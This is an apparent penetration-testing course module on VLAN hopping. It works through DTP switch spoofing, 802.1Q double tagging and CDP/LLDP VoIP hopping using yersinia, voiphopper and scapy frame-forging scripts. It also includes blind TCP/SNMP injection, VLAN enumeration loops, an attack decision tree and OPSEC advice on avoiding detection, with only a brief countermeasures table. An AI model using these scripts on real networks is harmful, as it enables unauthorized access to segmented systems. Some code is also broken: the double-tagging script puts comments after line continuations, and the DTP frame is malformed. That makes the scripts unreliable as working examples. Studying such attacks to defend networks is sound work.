Back to All Modules

VLAN Hopping

#Overview

VLAN hopping exploits weaknesses in VLAN trunking protocols and frame tagging to access network segments that should be isolated. In enterprise networks, VLANs segment traffic between departments, servers, guests, and management planes. A successful VLAN hop can give an attacker access to sensitive segments (HR, finance, domain controllers) from a low-privileged VLAN (guest, IoT).

This guide covers three primary VLAN hopping techniques: switch spoofing (DTP exploitation), double tagging (802.1Q injection), and VoIP hopping (CDP/LLDP abuse).

#Attack Decision Tree

On a VLAN-segmented Network?
  |
  v
What type of switch port am I connected to?
  |
  |-- Access port (single VLAN)
  |     |-- DTP enabled? --> Switch Spoofing (Method 1)
  |     |-- Double tagging possible? --> 802.1Q Double Tag (Method 2)
  |     |-- VoIP phone present? --> VoIP Hopping (Method 3)
  |
  |-- Trunk port (multiple VLANs)
        |-- Already have access to all VLANs --> Enumerate and move laterally
        |-- 802.1Q tags visible? --> Access any VLAN in the trunk
TEXT

#Method 1: Switch Spoofing (DTP Exploitation)

Dynamic Trunking Protocol (DTP) allows switches to automatically negotiate trunk links. If a switch port is in "dynamic" or "auto" DTP mode, an attacker can send DTP frames to negotiate a trunk, gaining access to all VLANs on the switch.

#Detecting DTP

# Check for DTP frames on the network
tcpdump -i eth0 -nn -e ether proto 0x2004

# DTP frame analysis
tshark -r capture.pcap -Y "dtp" -T fields \
  -e dtp.type -e dtp.neighbor -e dtp.status

# Common DTP modes:
#   trunk      - Port is a trunk (no negotiation needed)
#   dynamic desirable - Actively tries to become a trunk
#   dynamic auto      - Becomes a trunk if the other end initiates
#   access     - Port is an access port (no trunking)
BASH

#DTP Spoofing Attack

# Using yersinia (automated DTP spoofing)
sudo yersinia dtp -attack 1  # DTP spoofing attack

# Or manually craft DTP frames with scapy
python3 << 'EOF'
from scapy.all import *

# Create DTP frame
dtp_frame = Ether()/Dot3()/LLC()/SNAP()/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00')

# Set source MAC to attacker's MAC
# Set destination MAC to 01:00:0c:cc:cc:cc (Cisco DTP multicast)
dtp_frame[Ether].src = "00:11:22:33:44:55"
dtp_frame[Ether].dst = "01:00:0c:cc:cc:cc"

# Send DTP desirable frame
sendp(dtp_frame, iface="eth0", count=5)
EOF

# After successful DTP spoofing, the port becomes a trunk
# Add VLAN interfaces to access each VLAN
sudo vconfig add eth0 1
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo ifconfig eth0.1 192.168.1.100/24 up
sudo ifconfig eth0.10 192.168.10.100/24 up
sudo ifconfig eth0.20 192.168.20.100/24 up
BASH

#Using VLAN interfaces

# Create VLAN interface
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 192.168.10.100/24 dev eth0.10
sudo ip link set dev eth0.10 up

# Verify VLAN access
ping -c 3 192.168.10.1
nmap -sn 192.168.10.0/24

# Clean up
sudo ip link del eth0.10
BASH

#Method 2: 802.1Q Double Tagging

Double tagging exploits a flaw in how some switches handle nested 802.1Q tags. The outer tag matches the native VLAN of the trunk port and is stripped by the first switch. The inner tag specifies the target VLAN and reaches the destination.

Prerequisite: The attacker must know or guess the native VLAN of the trunk port between the switches.

#Double Tagging Attack

# Using scapy to craft double-tagged frames
python3 << 'EOF'
from scapy.all import *

# Double-tagged frame
# Outer tag: native VLAN (e.g., VLAN 1)
# Inner tag: target VLAN (e.g., VLAN 100)
# Payload: ICMP echo request

frame = Ether(dst="00:11:22:33:44:55") / \
        Dot1Q(vlan=1) / \         # Outer tag (native VLAN)
        Dot1Q(vlan=100) / \       # Inner tag (target VLAN)
        IP(dst="192.168.100.1") / \
        ICMP()

sendp(frame, iface="eth0")
EOF

# If the switch is vulnerable, the ICMP request reaches VLAN 100
# The response will come back on VLAN 100 but will be dropped by the first switch
# (because the return path adds only one tag)
# Therefore, double tagging is typically a ONE-WAY attack
BASH

#Double Tagging Limitations

AspectDetail
DirectionOne-way only (attacker → target VLAN)
ResponseTarget's response is dropped by the first switch
PrerequisiteMust know the native VLAN
Switch behaviorOnly works on switches that strip only the outer tag
Use caseTCP injection (blind), UDP flooding, VLAN enumeration

#Practical Double Tagging

Since responses don't return, use one-way attacks:

# Blind TCP injection
python3 << 'EOF'
from scapy.all import *

# Craft double-tagged TCP SYN to target VLAN
frame = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/ \
        IP(dst="192.168.100.10")/TCP(dport=22, flags="S")

sendp(frame, iface="eth0")
EOF

# Blind UDP injection (e.g., SNMP, syslog)
python3 << 'EOF'
from scapy.all import *

frame = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/ \
        IP(dst="192.168.100.10")/UDP(dport=161)/ \
        Raw(load=b'\x30\x26\x02\x01\x01\x04\x06public\xa0\x19\x02\x04\x00\x00\x00\x01\x02\x01\x00\x02\x01\x000\x0b0\x09\x06\x05\x01\x03\x00\x00\x00\x05\x00')

sendp(frame, iface="eth0")
EOF
BASH

#Method 3: VoIP Hopping

Many networks place VoIP phones on a separate VLAN (the "voice VLAN") and allow the PC connected through the phone to be on the data VLAN. VoIP hopping exploits CDP (Cisco Discovery Protocol) or LLDP (Link Layer Discovery Protocol) to negotiate access to the voice VLAN.

#Detecting VoIP VLANs

# Listen for CDP packets
tcpdump -i eth0 -nn -e ether proto 0x2000

# Listen for LLDP packets
tcpdump -i eth0 -nn -e ether proto 0x88cc

# CDP information includes:
# - Device ID (switch hostname)
# - Voice VLAN ID
# - Native VLAN ID
# - Port ID
# - Software version
BASH

#VoIP Hopping via CDP

# Using VoIP hopper (automated)
sudo voiphopper -i eth0 -c  # CDP mode
sudo voiphopper -i eth0 -E  # Extended CDP mode

# Manual CDP spoofing with scapy
python3 << 'EOF'
from scapy.all import *

# Craft CDP packet claiming to be a Cisco phone
cdp_packet = Ether(dst="01:00:0c:cc:cc:cc") / \
             LLC(dsap=0xaa, ssap=0xaa) / \
             SNAP(OUI=0x000c, code=0x2000) / \
             Raw(load=b'\x01\x00\x00\x00' +  # Version + TTL
                   # Device ID TLV
                   b'\x00\x01\x00\x0cSEP001122334455' +
                   # Port ID TLV
                   b'\x00\x03\x00\x07Port 1' +
                   # Voice VLAN TLV (type 0x0E, VLAN 100)
                   b'\x00\x0e\x00\x06\x00\x01\x00\x64')

sendp(cdp_packet, iface="eth0")
EOF

# After CDP spoofing, the switch assigns the port to the voice VLAN
# Create a VLAN interface for the voice VLAN
sudo ip link add link eth0 name eth0.100 type vlan id 100
sudo ip addr add 10.100.0.100/24 dev eth0.100
sudo ip link set dev eth0.100 up

# Verify access to voice VLAN
ping -c 3 10.100.0.1
BASH

#VoIP Hopping via LLDP

# Using lldpcli (LLDP spoofing)
sudo lldpcli configure ports eth0 vlans voice pvid 100

# Or using scapy for LLDP
python3 << 'EOF'
from scapy.all import *

lldp_frame = Ether(dst="01:80:c2:00:0e:00") / \
             LLC(dsap=0xaa, ssap=0xaa) / \
             SNAP(OUI=0x0080c2, code=0x000e) / \
             Raw(load=b'\x00\x00\xfe\x05\x01\x01\x00\x00')

sendp(lldp_frame, iface="eth0")
EOF
BASH

#VLAN Discovery Methodology

Before attempting VLAN hopping, discover the VLAN topology.

# 1. Check for 802.1Q tags on the wire
tcpdump -i eth0 -nn -e vlan

# 2. DHCP discovery on VLANs
for vlan in 1 10 20 30 40 50 100 200; do
    sudo vconfig add eth0 $vlan
    sudo dhclient -1 -v eth0.$vlan 2>&1 | grep -E "(offer|ack|nak)"
    sudo vconfig rem eth0.$vlan
done

# 3. ARP scanning VLAN subnets
for vlan in 1 10 20 30 100; do
    sudo vconfig add eth0 $vlan
    sudo ip addr add 192.168.$vlan.100/24 dev eth0.$vlan 2>/dev/null
    sudo ip link set dev eth0.$vlan up
    arp-scan --interface=eth0.$vlan 192.168.$vlan.0/24
    sudo ip link del eth0.$vlan
done

# 4. CDP/LLDP enumeration
tcpdump -i eth0 -nn -e ether proto 0x2000 -c 10  # CDP
tcpdump -i eth0 -nn -e ether proto 0x88cc -c 10  # LLDP
BASH

#Defensive Countermeasures

CountermeasureEffectiveness
Disable DTP on all access portsPrevents switch spoofing
Set all ports to switchport mode accessPrevents DTP negotiation
Change native VLAN to an unused VLANMitigates double tagging
Tag the native VLAN on trunksPrevents double tagging
Enable BPDU guard on access portsPrevents STP manipulation
Use separate physical ports for voice and dataPrevents VoIP hopping
Enable port securityLimits MAC addresses per port
802.1X on all portsRequires authentication before access

#Common Pitfalls

  1. DTP disabled: Most enterprise switches have DTP disabled on access ports. Switch spoofing won't work.
  2. Double tagging only works one way: You can inject into the target VLAN but can't receive responses. Use blind TCP/UDP injection.
  3. Native VLAN mismatch: Double tagging requires knowing the native VLAN. Default is usually VLAN 1, but may be different.
  4. VoIP hopping requires CDP/LLDP: If the switch doesn't use CDP or LLDP for voice VLAN assignment, VoIP hopping won't work.
  5. VLAN interfaces need IP configuration: After hopping, you need to know the VLAN's subnet. Use DHCP discovery or common subnets.

#OPSEC Considerations

  • DTP frames are visible to switches and may trigger port security alerts
  • Double-tagged frames have an unusual structure that NIDS can detect
  • CDP/LLDP spoofing creates a device entry in the switch's neighbor table
  • VLAN hopping creates traffic on the target VLAN, which may be monitored by IDS/IPS
  • VLAN interface creation is logged by some switch operating systems

#Cross-References

#Tool References

ToolPurposeLink
yersiniaDTP/CDP/STP spoofinghttps://github.com/tomcarlos/yersinia
VoIP HopperVoIP VLAN hoppinghttps://voiphopper.sourceforge.net/
scapyPacket craftinghttps://scapy.net/
vconfigVLAN interface managementLinux iproute2
tcpdumpPacket capturehttps://www.tcpdump.org/
tsharkPacket analysishttps://www.wireshark.org/